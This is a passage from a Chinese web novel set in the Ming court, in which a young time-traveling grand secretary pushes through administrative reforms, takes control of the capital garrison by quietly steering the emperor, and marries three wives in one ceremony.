反对苏惟瑾入阁,不就是反对皇帝修仙吗?
这帽子谁敢戴?
殿里又静了下来。
苏惟瑾这时才出列,走到御阶前,躬身行礼:“臣,苏惟瑾,谢主隆恩。”
他抬起头,目光平静:“陛下厚爱,臣惶恐。”
“内阁重地,臣资历浅薄,本不敢僭越。”
“然陛下既以国事相托,臣必鞠躬尽瘁,死而后已。”
这话说得滴水不漏,既谢了恩,又表了态,还顺便把“资历浅薄”这事给认了——可认归认,位置我是坐定了。
嘉靖满意地点点头:“好!苏爱卿明日便入阁办事。退朝——”
次日,文渊阁。
这地方在午门内东侧,紧挨着内阁值房。
院子不大,三进,青砖灰瓦,看着朴素,可那门槛儿比别处高出一截——这是祖制,提醒进这院子的人:里头议的是军国大事,得端着点。
苏惟瑾到的时候,辰时刚过。
他今天换上了绯色官袍,补子上绣的是锦鸡——这是二品大员的服色。
腰系玉带,头戴乌纱,往那儿一站,清俊中透着威严。
只是那张脸实在太年轻,怎么看都像是个穿了大人衣服的少年。
门口守着两个中书舍人,见了他,连忙躬身:“下官见过苏阁老。”
这声“阁老”,叫得苏惟瑾心里微微一荡。
二十二岁的阁老……他自己都觉得有点荒唐。
进了院子,正堂的门开着。
里头坐着三个人。
上首是个干瘦老头,六十上下,面皮蜡黄,留着三缕长须,是首辅毛纪。
这位是三朝老臣,弘治年间的进士,熬了四十年才坐到这个位置,平日话不多,可一双眼睛毒得很。
左边是个白胖老头,圆脸,总带着笑,是次辅费宏。
他是正德六年的状元,学问好,人缘也好,可就是有点滑头,遇事喜欢和稀泥。
右边那位面色严肃,腰板挺得笔直,是阁臣石珤。
这位是武将出身,后来转的文职,性子直,说话冲,在朝中得罪了不少人。
三人见苏惟瑾进来,都抬了抬眼。
毛纪没动,费宏站起身,拱了拱手,脸上堆着笑:“苏阁老来了,快请坐。”
石珤只是点了点头,算是打过招呼。
苏惟瑾不慌不忙,先向毛纪躬身行礼:“下官苏惟瑾,见过毛阁老。”
又转向费宏、石珤,“见过费阁老、石阁老。”
礼数周全,挑不出毛病。
毛纪这才放下手中的茶盏,缓缓道:“苏大人年轻有为,陛下破格提拔,乃朝廷之幸。”
“今后同阁为臣,还望……多多指教。”
这话听着客气,可那“破格提拔”四个字,咬得有点重。
费宏接过话头,笑得眼睛眯成一条缝:“是啊是啊,苏阁老虽然年轻,可才干是大家有目共睹的。”
“日后阁务,还望不吝赐教。”
他这话说得更妙,“赐教”两个字,摆明了是试探——你一个二十二岁的年轻人,能“赐教”我们这些老家伙什么?
石珤干脆不说话,只是盯着苏惟瑾看,眼神里满是审视。
苏惟瑾微微一笑,在空着的那张椅子上坐下,语气谦和:“三位阁老太抬举下官了。”
“下官资历浅薄,入阁本是学习。”
“日后阁务,正需向诸位前辈请教,还望不吝赐教才是。”
他把“赐教”两个字,原封不动还了回去。
费宏脸上的笑容僵了僵。
毛纪重新端起茶盏,吹了吹浮沫,没说话。
石珤却开口了,声音硬邦邦的:“苏阁老既入了阁,有些规矩得知道。”
“内阁每日辰时点卯,酉时散值,奏章当日批阅,不得过夜。”
“各省的题本、奏本,先由中书舍人分类,我等四人轮流票拟——就是草拟处理意见,最后呈陛下批红。”
他指了指桌上堆积如山的文书:“这些是昨日积压的,苏阁老既然来了,便从今日开始当值吧。”
“今日该老夫票拟,苏阁老可先熟悉熟悉。”
这是要给他下马威了。
那一堆文书,少说也有上百份,涉及六部、各省、边关、漕运、盐政……方方面面。
一个刚入阁的年轻人,光是看明白就得花好几天,更别说提出处理意见了。
可苏惟瑾只是点点头:“下官遵命。”
他走到另一张空桌后坐下,随手拿起最上面的一份奏章——是浙江巡抚上的,说的是今年秋汛,钱塘江堤坝溃了三十丈,请拨银十万两修筑。
超频大脑瞬间启动。
视觉扫描:奏章字迹、用印、格式、措辞……
信息调取:浙江近年财政收支、钱塘江历年水文数据、堤坝修筑工料价格、相关官员履历……
逻辑分析:十万两的预算是否合理?溃堤的真实原因?巡抚是否夸大灾情?拨银后如何监管?
不过三息,一份完整的“票拟”方案已在脑中成型:
“准拨银八万两,命浙江布政使司会同工部主事监督使用,限期三月竣工。另着巡抚查明溃堤原因,若有官吏渎职,严惩不贷。”
苏惟瑾提笔,在奏章附的票签上写下意见,字迹工整,条理清晰。
接着是第二份、第三份……
他的速度越来越快。
到后来,几乎是拿起一份奏章,扫一眼,便提笔写下意见,中间毫无停顿。
那些让老阁臣们头疼的难题——比如漕运改道、盐引分配、边军粮饷——在他手里,都像是有现成的答案。
毛纪原本在闭目养神,可眼角余光一直没离开苏惟瑾。
当他看到苏惟瑾在半个时辰内批完了三十多份奏章,而且每份票拟都切中要害时,握着茶盏的手,微微紧了紧。
费宏脸上的笑容彻底消失了。
石珤更是瞪大了眼,像是见了鬼。
这个二十二岁的年轻人……他真是第一次接触这些政务?
“诸位阁老,”苏惟瑾批完最后一份,抬起头,微微一笑,“下官初来乍到,若有不当之处,还望指正。”
文渊阁里,一片寂静。
只有窗外风吹过竹叶的沙沙声。
苏惟瑾以惊人之速处理阁务,震慑三位老阁臣,首日入阁便展露锋芒。
然而内阁水深,毛纪的深沉、费宏的圆滑、石珤的耿直,各有各的盘算。
更关键的是——嘉靖皇帝那句“辅佐朕修行”究竟是何用意?
是真要苏惟瑾帮着修仙,还是借机将他绑在身边,便于控制?
二十二岁的内阁大学士,究竟是登上了权力巅峰,还是踏入了更凶险的漩涡?
朝堂格局已变,新的棋局,才刚刚开始。
第363章 朝堂稳政局,瑾布新格局
腊月里的京城,冷得能冻掉耳朵。
可紫禁城里的气氛,比外头的天儿还冷。
冬至那场乱子虽然平了,可人心还悬着。
文武百官每天上朝,眼珠子都在悄悄瞟——瞟坐在龙椅上的嘉靖皇帝,更瞟站在文官队列最前头的那个绯色身影。
二十二岁的内阁大学士。
这事儿越想越魔幻,可它就真真儿地发生了。
苏惟瑾入阁的第三天,乾清宫西暖阁里,炭火烧得噼啪响。
嘉靖裹着貂裘靠在榻上,手里捧着本《黄庭经》,可眼睛却盯着站在下头的苏惟瑾。
“苏爱卿,”他声音还有点虚,可眼神清明了,“这几日朝中……可还安稳?”
苏惟瑾躬身:“回陛下,朝局大体稳定,只是人心还有些浮动。”
杨廷和一案牵连甚广,不少官员担心被波及,办事都束手束脚。
嘉靖眉头皱了皱:“那依你之见……”
“臣有三策。”苏惟瑾不急不缓。
“其一,请陛下下‘罪己诏’。”
“罪己诏?”嘉靖脸色一沉。
“是。”苏惟瑾神色坦然,“诏中可写:陛下近日为求长生,潜心修行,以至朝政有所荒疏,幸赖忠臣良将,平定祸乱。”
今幡然醒悟,当以国事为重,勤政爱民。
他顿了顿,看嘉靖脸色缓和了些,才继续道:“同时宣布‘大赦天下’——除杨廷和、郭勋等谋逆主犯外,其余从犯、涉案不深者,皆可赦免。”
如此,人心自安。
嘉靖沉吟良久,缓缓点头:“准。”
那第二策呢?
“其二,为陆炳平反。”苏惟瑾道,“陆指挥使忠而被谤,受尽屈辱。”
如今真相大白,当追复原职,还其清白。
其妹陆清晏贞烈可嘉,可特赐旌表。
陆家家眷,也应赦免安置。
这话说得嘉靖有点尴尬。
陆炳是他亲自下旨抓的,现在要平反,不是打自己的脸吗?
苏惟瑾察言观色,补了一句:“陆炳身体已残,不宜再任锦衣卫指挥使。”
可追赠荣衔,厚恤其家。
如此既全了忠义之名,也不伤陛下颜面。
嘉靖这才舒展眉头:“好!”
还是苏爱卿想得周全。
第三策?
“其三,”苏惟瑾抬起头,眼中闪过一丝锐光,“重建朝堂格局。”
腊月十五,罪己诏和大赦令同时颁下。
诏书用词诚恳,先是承认皇帝因修行耽误朝政,接着表彰平定叛乱的功臣,最后宣布大赦——谋逆主犯除外,其余涉案官员,只要真心悔过,一律从轻发落。
诏书最后还特意提了一句:“锦衣卫前指挥使陆炳,忠而被谤,今已昭雪,追赠太子少保;其妹陆氏清晏,贞烈可嘉,特赐旌表。”
陆家余眷,悉数赦免。
这道诏书像盆温水,把冻僵的朝堂给浇活了。
那些原本提心吊胆、生怕被牵连的官员,总算松了口气。
该办事办事,该上朝上朝,朝堂的运转,慢慢又上了正轨。
可明眼人都瞧得出来,这朝堂啊,已经换了一副筋骨。
锦衣卫衙门里,宋卫佳搬进了北镇抚司镇抚的公房。
这位从前的小小百户,如今掌着诏狱和侦缉大权,腰杆挺得笔直。
周大山拍着他肩膀:“老宋,好好干!公子说了,锦衣卫是天子耳目,也是朝堂利剑。”
该锋利的时候,不能钝了。
宋卫佳重重点头:“指挥使放心,卑职明白。”
五城兵马司那边,苏惟奇穿上了指挥佥事的官服。
这位苏家旁支的子弟,如今掌管京城治安,手下三千衙役,日夜巡防。
那些原本在城里横行霸道的勋贵家丁,现在见了五城兵马司的人,都得绕着走。
至于彭友信,他没进官场,可手里那套江湖渠道,成了苏惟瑾隐在暗处的眼睛和耳朵。
茶楼酒肆里的流言,码头货栈的异动,甚至哪个官员晚上去了哪家青楼……这些消息,每天都会汇总到苏惟瑾案头。
就连魏彬,苏惟瑾都没杀。
老太监如今被“戴罪立功”,继续在浣衣局待着,只是每日都得服用苏惟瑾给的“逍遥散”。
他用了几十年练就的察言观色、传递消息的本事,现在全为苏惟瑾服务。
宫里哪个太监收了外臣的银子,哪个宫女被哪位娘娘收买,魏彬都门儿清。
这一张网,从朝堂到市井,从宫里到宫外,织得密密实实。
文渊阁里,三位老阁臣看着苏惟瑾这一套套动作,心里滋味复杂。
毛纪还是那副老神在在的模样,可喝茶的频率明显高了。
偶尔抬眼看看对面那个埋头批阅奏章的年轻人,眼神里有些东西在慢慢变化——从最初的审视、戒备,到后来的惊讶,再到如今……一丝不易察觉的叹服。
费宏最是精明。
他发现苏惟瑾虽然年轻,可处理政务的手法老辣得很,而且不贪权。
有几件涉及税赋改革的难事,苏惟瑾主动找他商量,言谈间尽是尊重,给出的方案又确实可行。
一来二去,费宏心里的那点芥蒂,慢慢就化了。
只有石珤,还梗着脖子。
这位武将出身的阁臣,性子直,认死理。
他觉得苏惟瑾提拔的那些人,不是寒门就是旁支,要么干脆是江湖出身,不合“祖宗法度”。
有次阁议,他直接拍了桌子:“苏阁老!锦衣卫北镇抚司镇抚,历来都是勋贵子弟担任!”
你让一个军户出身的宋卫佳去坐那个位置,合适吗?!
苏惟瑾放下手中的笔,抬眼看他,语气平静:“石阁老觉得,什么样的才合适?”
“至少得是清白家世,有功名在身!”石珤瞪着眼,“宋卫佳一个粗鄙武夫,识得几个字?”
懂什么刑狱律法?
“石阁老说的是。”苏惟瑾点点头,从案头抽出一份卷宗,“这是宋卫佳这半月来审理的十七桩案子,桩桩证据确凿,判罚得当。”
其中有三桩是前任镇抚积压多年的悬案,他也给破了。
他把卷宗推过去:“石阁老不妨看看,是‘清白家世’重要,还是‘能办事’重要?”
石珤接过卷宗,翻了几页,脸慢慢涨红了。
那些案子审得确实漂亮,证据链完整,律法引用准确,连文笔都流畅——这哪像个“粗鄙武夫”能写出来的?
“至于功名……”苏惟瑾笑了笑,“宋卫佳是没功名,可他手下那几个刑名师爷,都是正经的举人出身。”
用人之道,在于各尽其才。
石阁老说是不是?
石珤张了张嘴,半天没憋出一句话。
最后重重“哼”了一声,甩袖坐下,再不提这茬。
打那以后,石珤老实多了。
腊月廿八,眼看要过年了。
文渊阁里,苏惟瑾又拿出两样新东西。
一样叫“票拟摘要”。
他要求各省上奏章时,必须在正文前附一页纸,用三五百字把事儿说清楚——什么事、哪儿出的、要朝廷干什么。
阁臣批阅时,先看摘要,再看全文,省时省力。
另一样叫“急递通道”。
在各主要驿道设专门信使,重要公文插羽毛标识,沿途驿站不得延误,换马不换人,直达京城。
寻常奏章走一个月,急递只要十天。
这两样一推行,内阁处理政务的速度,噌噌往上窜。
以往积压半个月的奏章,现在三五天就清完了。
三位老阁臣起初还不习惯,可用了几天后,都真香了——省劲儿啊!
尤其是毛纪,老人家眼神不好,看长篇大论费劲,现在有摘要,轻松多了。
嘉靖皇帝对这套更是满意。
他现在每日大半时间都在“修行”——其实是吸着苏惟瑾特制的健康版“飞升杆”,里头没了罂粟膏,换成了安神养气的草药。
偶尔服用的“清心丹”,也是解毒调理的良药。
身子一天天见好,精神头也足了,可对“修仙”的沉迷却没减,反而更投入了。
鹤岑国师如今常驻宫中,名义上是指导皇帝修行,实则是苏惟瑾的传声筒。
该让皇帝“看到”什么仙迹,该让皇帝“悟到”什么玄机,都是苏惟瑾定的调子。
魏彬那边也没闲着。
老太监每日把宫里的动静报上来,哪位娘娘说了什么话,哪个太监有什么异动,苏惟瑾都了如指掌。
腊月三十,除夕夜。
苏惟瑾站在文渊阁的窗前,望着外头宫城里此起彼伏的灯笼。
奉天殿那边传来隐约的乐声,是嘉靖在宴请群臣。
周大山悄无声息地走进来,低声道:“公子,宫里一切安稳。”
陛下刚才还问起您,说苏爱卿怎么没来赴宴。
苏惟瑾笑笑:“就说我染了风寒,怕传给陛下。”
他转身,看向案头那堆积如山的奏章——那是明年开春要办的事:整顿漕运、重修河堤、清查田亩、改革盐政……一桩桩,一件件,都等着他去推动。
“大山,”他轻声道,“你说这大明的江山,像不像一盘棋?”
周大山挠挠头:“公子,俺是个粗人,不懂这些。”
苏惟瑾也不在意,自顾自说下去:“陛下是棋局的名义主宰,坐在那儿,所有人都得朝他跪拜。”
他顿了顿,目光望向乾清宫方向,那里灯火通明。
“而我……才是执棋之人。”
窗外,新年的第一场雪,悄然飘落。
苏惟瑾以雷霆手段稳定朝局,布下新格局,权柄日盛。
然而树大招风——他提拔的寒门子弟、引入的新制、掌控皇帝的手法,是否已引起某些隐藏势力的忌惮?
那些被清洗的杨廷和余党、利益受损的勋贵集团,真的甘心就此沉寂?
更关键的是,嘉靖皇帝的身体虽有好转,可对“修仙”的沉迷日深,万一某日“清醒”过来,发现自己已成傀儡,又会作何反应?
棋局已布,可执棋之人,又何尝不是棋中人?
第364章 军权收掌中,惟虎镇京营
正月的雪刚化,京营校场上的泥地还冻得硬邦邦。
苏惟瑾站在文渊阁的窗前,手里捏着一份兵部的奏报。
薄薄的几页纸,写的是去年京营的饷银开支、兵员数目、操演情况。
数字看起来规规矩矩,可超频大脑只扫了一眼,就从中揪出了七八处不合理的地方。
“神机营员额五千,实发饷银八千人的份;五军营吃空饷三百二十人;三千营军械报损率比边军高三成……”
苏惟瑾轻声念着,嘴角浮起一丝冷笑。
他转过身,看向坐在下首的周大山:“大山,你说这京营,还像支军队吗?”
周大山挠挠头,实话实说:“公子,不是俺说丧气话。”
京营那些爷兵,除了每年春秋两操摆摆样子,平日里就是混吃等死。
勋贵子弟挂个虚衔领饷,真正的兵油子倒卖军械、强占屯田,乌烟瘴气!
“是该清一清了。”
苏惟瑾放下奏报,“就从郭勋的旧部开始。”
二月初二,龙抬头。
周大山带着三百锦衣卫,如狼似虎地扑进了京营衙门。
事先没打招呼,到了地方直接封账册、查仓库、点人头。
那些还在被窝里睡懒觉的军官,被一个个从营房里揪出来,衣冠不整地押到校场。
查了三天,查出一本烂账。
神机营把总刘贵,虚报兵员一百二十人,冒领饷银三年,共计两千四百两;五军营千户赵德海,强占京郊屯田八十亩,租给佃户收租子;三千营游击钱勇更绝,把营里三十杆火铳偷偷卖给山西的商人,换来的银子在城南养了个外室……
涉案的军官,从游击、千户到把总、百户,林林总总一百多人。
三分之二是勋贵子弟,剩下那些也是盘根错节的军中老油条。
消息传开,京城勋贵圈炸了锅。
成国公府里,几个老勋贵聚在一起,茶喝得没滋没味。
成国公朱麒今年六十多了,胡子花白,说话时手有点抖:“这苏惟瑾……手伸得也太长了!”
军中的事,历来是咱们武臣自家打理,他一个文官,凭什么?
“凭什么?”定远侯邓继坤冷笑,“就凭人家现在是内阁大学士,陛下跟前第一红人!”
郭勋怎么倒的?
忘了?
提起郭勋,屋里静了一瞬。
那个冬至日,武定侯被当众拿下,家产抄没,如今还在诏狱里等着秋后问斩。
前车之鉴,血淋淋的。
“可咱们就这么眼睁睁看着?”朱麒不甘心,“军中那些空饷、屯田,哪家没沾点?”
他苏惟瑾真要一查到底,大家都别想好过!
“所以不能让他查到底。”邓继坤眯起眼,“得想个法子……”
法子还没想出来,苏惟瑾的第二招到了。
二月十五,朝会上。
苏惟瑾出列奏道:“陛下,京营腐败,非一日之寒。”
欲正军纪,除清查积弊外,更需注入新血。
臣查广西平叛有功人员名录,有苏惟虎、苏惟山等人,作战勇猛,熟知兵事。
请调其入京营任职,以振士气。
话音一落,武官队列里不少人脸色变了。
调苏家的人进京营?
这分明是要掺沙子!
嘉靖如今对苏惟瑾是言听计从,闻言点头:“准奏。”
兵部拟个职位吧。
兵部尚书廖纪硬着头皮出列:“陛下,京营官职皆有定例,若骤然安置……”
“那就破例。”嘉靖打断他,“非常之时,行非常之事。”
苏惟虎任神机营参将,苏惟山任五军营游击。
再调锦衣卫北镇抚司镇抚宋卫佳,任京营监军御史,专司军纪督查。
金口一开,再无转圜余地。
散朝后,几个勋贵堵住苏惟瑾,话里话外透着不满。
“苏阁老,”邓继坤皮笑肉不笑,“京营的事,复杂得很。”
您那两位族亲初来乍到,怕是……难服众啊。
苏惟瑾停下脚步,看向他,微微一笑:“定远侯多虑了。”
惟虎、惟山在广西是带过兵的,战场上真刀真枪见过血。
至于服众——带兵的,靠的是本事,不是资历。
您说是不是?
邓继坤被噎得说不出话。
三月初,苏惟虎、苏惟山到任。
这两人都是苏家旁支,在广西跟着周大山剿过土司,身上有股子行伍的悍气。
到了京营,也不搞虚头巴脑的交接,第一天就下校场,看操练。
神机营的兵正在练火铳,装药、填弹、点火,动作拖拖拉拉,十枪有八枪打不中靶子。
苏惟虎看了半刻钟,走过去,从个老兵手里接过火铳。
“看好了。”
他声音不大,可动作干净利落。
倒药、装弹、压实、点火,一气呵成。
“砰”的一声,百步外的木靶应声而裂。
校场上静了。
苏惟虎放下火铳,扫视众人:“从今天起,火铳操练改规矩。”
装药用量,用这个铜勺量——他从怀里掏出个特制的小铜勺,“填弹后,用通条压三下,不能多不能少。”
瞄准时,照门、准星、靶心三点一线。
谁再胡乱打,午饭别吃了,加练!
五军营那边,苏惟山更狠。
他看着那些跑两圈就喘的“老爷兵”,直接下令:“全营,绕校场跑十圈!”
跑不完的,今晚没饭!
有刺头不服:“苏游击,咱们历来是练刀枪,跑什么圈……”
话没说完,苏惟山一脚踹过去,那兵被踹出丈远。
“战场上逃命的时候,你才知道腿脚有多重要!”
再啰嗦,二十圈!
两人雷厉风行,加上宋卫佳这个监军御史在旁盯着,不到半月,两支营的风气为之一变。
三月二十,苏惟瑾上了第三道奏章。
“臣观京营虽众,然精锐不足。”
请于京营中择选勇健者三千,另组“虎贲营”,专司拱卫京师、应急征调。
此营当用新法操练,以期成军之速、战力之强。
这一次,连嘉靖都有些犹豫:“另组新营,耗费颇巨……”
“陛下,”苏惟瑾躬身,“京营冗员众多,若汰弱留强,所省饷银足以养虎贲营。”
且臣所创新法,重在精炼,不求人多。
他展开一卷图册——这是他用超频大脑设计的训练大纲,简化了现代军事理念,变成这个时代能理解能执行的东西:每日晨跑十里打熬体力,队列训练培养纪律,两人一组、五人一队的协同作战,还有火铳的标准化操作流程。
最精妙的是沙盘推演。
苏惟瑾让工匠做了个十尺见方的大沙盘,堆出山川城池,用不同颜色的小旗代表兵力。
军官们分成两方,在沙盘上排兵布阵,演练攻防。
嘉靖看着图册上那些新奇却条理分明的法子,越看越感兴趣:“此法……颇有玄机。”
苏爱卿从何得来?
“乃臣研读古兵书,参以己见所创。”苏惟瑾面不改色——总不能说来自几百年后的军事教材。
“好!准了!”嘉靖一拍桌子,“虎贲营指挥使,苏爱卿觉得谁合适?”
苏惟瑾等的就是这句话:“锦衣卫指挥使周大山,忠勇双全,熟知兵事,可兼任此职。”
朝堂上又是一阵骚动。
文官掌内阁,武官掌京营,这是祖制。
如今苏惟瑾已入阁,再让他的亲信周大山兼掌虎贲营,这兵权……也太集中了!
可没人敢说话。
郭勋的尸骨还没凉呢。
虎贲营的选拔,严格得近乎苛刻。
三千名额,从京营五万人里挑。
体能、箭术、刀枪、纪律,层层筛选。
选上的,饷银加倍,伙食顿顿有肉;选不上的,回原营继续操练——如今各营被苏惟虎、苏惟山盯着,想偷懒也没门了。
周大山练兵,比苏惟虎他们还狠。
晨跑十里是开胃菜,接下来是半个时辰的队列:立正、稍息、转向,动作必须整齐划一。
有人笑说这像耍把戏,周大山听见了,让那人出列,单独练到晌午。
火铳训练更是严苛。
装药、填弹、压实、瞄准、击发,每个动作分解练习,错了就重来。
三天下来,不少兵的手被磨出血泡,可没人敢抱怨——周大山自己第一个练,手上血泡比谁都多。
最让军官们开眼的,是沙盘推演。
第一次推演,周大山把几个千户、把总叫到沙盘前,分成攻守两方。
守方依着城墙摆开阵势,觉得万无一失。
攻方的年轻把总却别出心裁,派小队绕到侧后,同时正面用火铳齐射压制——这是苏惟瑾教的“正面牵制、侧翼迂回”。
推演完,周大山点评:“战场上,没有一成不变的阵势。”
得多想一步,想两步。
三个月后,虎贲营成了京营里一道独特的风景。
三千人出操,脚步声整齐得像一个人;火铳齐射,硝烟未散靶子已倒一片;沙盘推演时,那些原本大字不识几个的军官,也能说出“兵力配置”“战场机动”这样的词儿。
四月底,嘉靖亲临校场阅兵。
看着虎贲营阵列森严、操练有素,这位皇帝龙颜大悦:“好!有此强军,朕可高枕无忧矣!”
周大山,赏!
虎贲营全体,赏!
勋贵们站在一旁,脸色复杂。
他们知道,京营的天,彻底变了。
五月初,成国公朱麒设宴,请苏惟瑾过府一叙。
宴设在后花园暖阁里,就他们两人。
酒过三巡,朱麒叹道:“苏阁老手段,老夫佩服。”
京营这些年确实烂了,该整治。
只是……军中那些老弟兄,拖家带口不容易。
有些事,能不能……睁只眼闭只眼?
苏惟瑾端起酒杯,看着杯中晃动的琼浆:“国公爷,军权乃国之重器,马虎不得。”
该查的,一定要查;该办的,一定要办。
朱麒脸色一僵。
“不过,”苏惟瑾话锋一转,“查办是为了正军纪,不是为了赶尽杀绝。”
勋贵世代为国效力,只要恪守本分,该有的爵位、该享的尊荣,一样不少。
他放下酒杯,声音平和:“往后京营的饷银、屯田、军械,都会立新规矩。”
按规矩办事的,自然安稳;想伸手的——
他笑了笑,没说完。
朱麒听懂了。
这是警告,也是许诺。
只要不再碰军权这块蛋糕,勋贵们现有的利益,可以保留。
他举起杯,与苏惟瑾一碰:“苏阁老……深明大义。”
走出成国公府时,天已擦黑。
苏惟瑾上了轿子,轿帘落下,隔绝了外头的灯火。
他靠在轿壁上,闭上眼。
京营,算是握在手里了。
可边军呢?
九边重镇,几十万大军,那些总兵、巡抚,哪个是好相与的?
还有各地卫所,盘根错节,牵一发而动全身。
轿子晃晃悠悠,往苏府方向去。
苏惟瑾睁开眼,透过轿帘缝隙,看着外面流光溢彩的京城夜景。
路还长。
但第一步,已经踏稳了。
京营军权初掌,虎贲营已成利器,勋贵暂时妥协。
然而边军远在千里,那些世代镇守的将门,会甘愿听从朝廷——或者说苏惟瑾——的调遣吗?
更关键的是,嘉靖皇帝今日见虎贲营威武,龙心大悦,可若有一日他知道这支强军完全听命于苏惟瑾,又会作何感想?
军权如虎,握得住是利器,握不住……反噬更烈。
第365章 三美同入府,瑾践旧时诺
腊月里的京城,家家户户都在备年货。
可今年街谈巷议最多的,不是哪家铺子的年糕好,也不是哪家绸缎庄进了新料子,而是内阁大学士苏惟瑾——要一次娶三房媳妇。
这事儿从宫里传出来那天,就炸了锅。
“听说了吗?”
苏阁老要向陛下请旨,一次娶三个!
“三个?”
我的乖乖……这得多大福气?
“福气?”
我看是荒唐!
堂堂内阁大学士,一次娶三房,还有个是……清倌人出身!
这成何体统?
茶楼酒肆里,说什么的都有。
有羡慕的,有嫉妒的,当然也有那些自诩“卫道士”的老学究,吹胡子瞪眼说要上疏劝谏。
可这些声音,传不到乾清宫西暖阁里。
嘉靖皇帝今天精神不错,靠坐在龙榻上,手里捧着那根黄花梨“飞升杆”,吸一口,眯着眼,飘飘然。
苏惟瑾站在下首,神色恭敬。
“陛下,臣有一事相求。”
“哦?”
嘉靖睁开眼,“苏爱卿但说无妨。”
“臣早年落魄时,曾得数位女子相助,并许以婚约。”
苏惟瑾躬身道,“如今臣已立朝,恳请陛下恩准完婚,以全信义。”
嘉靖来了兴趣,坐直身子:“是哪家闺秀?”
说来听听。
“第一位,沭阳县教谕赵明远之女赵文萱,知书达理,与臣有笔墨之谊。”
苏惟瑾顿了顿,“当年在沭阳,臣还是张家书童时,她不以臣身份低微,常借书与臣,更在学问上多有指点。”
嘉靖点头:“知书达理,好。”
“第二位,沭阳百户之女王雪茹,性情爽直,曾对臣有相助之义。”
苏惟瑾继续道,“当年臣遭张家少爷欺辱,是她路见不平,出言相助。”
后来臣科考时,她家中还曾接济过银两。
“哦?”
将门之女,性情爽直,也好。
嘉靖笑道,“第三位呢?”
苏惟瑾声音平静:“第三位,金陵清倌人沈香君,才情过人,与臣互为知音。”
当年臣南下金陵时结识,她虽出身风尘,却通透聪慧,在消息传递上曾助臣良多。
“清倌人?”
嘉靖眉头挑了挑。
“是。”
苏惟瑾不避不闪,“臣重的是才情品性,不计出身。”
嘉靖看着他,忽然哈哈大笑:“好!”
好一个不计出身!
苏卿真乃性情中人!
他笑完了,又问:“就这三位?”
发妻呢?
苏惟瑾这才道:“臣的发妻陈芸娘,乃沭阳书铺老板之女。”
当年臣饥寒交迫时,她曾偷偷给臣送过饼和旧衣。
这些年来,她操持家务、诞育子嗣,辛苦持家。
臣请以正妻之礼相待,掌家中馈,不分嫡庶。
嘉靖捋着胡子,眯眼想了想:“一正妻,三平妻……苏卿倒是风流。”
不过念你重情重义,朕准了!
他大手一挥:“朕再赐你一座府邸,就在东城柳条胡同,原是个郡王的别业,够大,够气派!”
就当是朕给你的新婚贺礼!
“臣,谢主隆恩!”
苏惟瑾深深一躬。
圣旨一下,那些原本还想上疏劝谏的,都哑火了。
皇帝都赐府邸了,谁还敢说三道四?
苏府——如今该叫苏大学士府了——立刻忙活起来。
五进的大宅子,飞檐斗拱,朱漆大门,门前一对石狮子是新雕的,威风凛凛。
府里假山池塘、亭台楼阁一应俱全,后院还特意扩出三个独立小院,分别题了匾额:“听雨轩”“藏剑阁”“琴韵斋”。
陈芸娘带着丫鬟婆子,里里外外张罗。
她如今是正妻主母,虽出身不高,可这些年历练下来,行事沉稳周到。
采买红绸、置办喜宴、安排客房、准备回礼……桩桩件件,井井有条。
腊月十六,赵文萱从沭阳到了。
她是坐船来的,带着两个丫鬟、几箱嫁妆。
苏惟瑾亲自到通州码头迎接,见了面,赵文萱还有些羞涩,福了一福:“苏……苏大人。”
苏惟瑾扶起她,轻声道:“文萱,你我之间,不必如此生分。”
赵文萱抬起头,眼圈微红。
当年那个在张家当书童的清瘦少年,如今已是绯袍玉带的阁老大臣。
可看她的眼神,还是当年借书时那般温和。
次日,王雪茹骑马来的。
这姑娘一身红色劲装,背着弓,腰挎剑,英气勃勃。
到了府门前翻身下马,动作干净利落。
见了苏惟瑾,也不扭捏,大大方方一抱拳:“苏大哥!”
苏惟瑾笑了:“雪茹,你还是这般爽利。”
王雪茹咧嘴一笑,露出一口白牙:“那当然!”
咱们江湖儿女,不兴那些虚头巴脑的!
腊月十七,沈香君坐轿子到了。
她只带了个贴身丫鬟,嫁妆不多,可都是精心挑选的——几幅古画、几件瓷器,还有她自己这些年攒下的一些首饰。
下轿时,她蒙着面纱,可那双眼睛流转间,媚态天成。
苏惟瑾上前,低声道:“香君,委屈你了。”
沈香君轻轻摇头,声音柔得像水:“能入苏郎府中,是妾身的福分。”
三位新娘到齐,府里更热闹了。
陈芸娘安排她们各自住下,又请了裁缝来量身裁衣。
凤冠霞帔是宫里尚衣监特制的,用的是江南进贡的云锦,金线绣着鸾凤和鸣的图案,华贵非常。
腊月十八,正日子。
苏府门前车水马龙,宾客如云。
文武百官来了大半,六部尚书、侍郎,各寺卿,连几位老亲王都派了世子来贺喜。
前厅里,周大山、苏惟虎、苏惟山等武官聚在一桌,喝酒划拳,声震屋瓦。
宋卫佳穿着崭新的飞鱼服,虽不太说话,可脸上也带着笑。
彭友信也来了,这位江湖大佬今日难得穿得正经,还备了份厚礼。
最让人意外的,是鹤岑国师也来了。
老道士一身道袍,手持拂尘,以“道友”身份送来贺礼——一对白玉如意,寓意“事事如意”。
“苏道友大喜,贫道特来讨杯喜酒。”
鹤岑捻须笑道。
苏惟瑾连忙迎上:“国师能来,蓬荜生辉。”
吉时到,鞭炮齐鸣。
第一日,娶赵文萱。
八抬大轿从侧门抬进,赵文萱凤冠霞帔,蒙着红盖头,由喜娘搀扶着,一步步走进正堂。
拜天地,拜高堂——苏惟瑾父母早亡,只设了牌位。
夫妻对拜时,苏惟瑾看着她微微颤抖的手,心中感慨万千。
洞房设在听雨轩。
红烛高烧,赵文萱坐在床沿。
苏惟瑾挑开盖头,烛光下,她面若桃花,眼含秋水。
“文萱,”
苏惟瑾从怀中取出一份礼物,“这是给你的。”
那是一套精装的古籍,宋版的《诗经》《楚辞》《史记》,都是赵文萱当年最爱读的。
每本书的扉页上,都有苏惟瑾亲笔题的诗句。
赵文萱接过,指尖轻抚书页,泪珠儿在眼眶里打转:“惟瑾……你还记得。”
“都记得。”
苏惟瑾握住她的手,“当年你说,若能有一套这样的书,此生无憾。”
如今,我替你寻来了。
第二日,娶王雪茹。
这姑娘不喜欢坐轿,非要骑马。
最后还是陈芸娘好说歹说,才肯上了花轿。
拜堂时,她动作有些僵硬,可腰板挺得笔直,透着股英气。
洞房在藏剑阁——这名字是王雪茹自己取的。
苏惟瑾送的礼物,是一柄镶嵌宝石的短剑。
剑身是百炼钢,锋利无比;剑鞘上镶着红宝石,华丽非常。
“雪茹,”
苏惟瑾递过剑,“你性子直,喜欢舞刀弄枪。”
这柄剑送你防身,也希望你……永远这般率真。
